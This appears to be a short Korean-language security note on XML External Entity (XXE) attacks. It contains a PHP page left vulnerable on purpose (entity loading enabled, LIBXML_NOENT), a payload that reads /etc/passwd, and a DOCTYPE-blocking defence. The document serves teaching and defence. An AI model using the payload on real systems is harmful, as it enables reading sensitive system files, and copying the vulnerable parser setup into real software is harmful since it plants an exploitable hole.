Language
한국어
일반적으로 잘못 구성된 XML Parser 를 사용하여 신뢰할 수 없는 XML 공격 코드을 주입시켜 실행시키는 응용 프로그램에 대한 공격
해당 공격을 통해서 주요 시스템 파일 접근(LFI)이나 외부 악의 적인 파일 참조(RFI)가 가능

보통 XML Parser 설정에서 External Entity 사용을 금지시키지 않아 발생 

<html>
<body>
<meta charset='utf-8'/>
<?php
if (function_exists('libxml_disable_entity_loader')) {
    libxml_disable_entity_loader(false);
}
$xml=$_POST['xml'];
if($xml){
$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
}
?>
<form method="post">
<textarea name="xml" rows="12" cols="100">
<?php
echo $xml;
?>
</textarea>
<input type="submit">
</form>
<?php
echo $doc;
?>
</html>

<!DOCTYPE test[
<!ENTITY testtest SYSTEM "file:///etc/passwd">
]>
<result>&testtest;</result>

<!DOCTYPE test[
<!ENTITY testtest "XXE SUCCESS">
]>
<result>&testtest;</result>

from http://securitynote.tistory.com/4
https://stackoverflow.com/questions/29811915/external-entities-not-working-in-simplexml

방어코드
if(preg_match("/<!DOCTYPE/i", $xml))
{
throw new InvalidArgumentException('Invalid XML: Detected use of illegal DOCTYPE');
}

from http://blog.naver.com/PostView.nhn?blogId=koromoon&logNo=120208853424&parentCategoryNo=&categoryNo=15&viewDate=&isShowPopularPosts=false&from=postView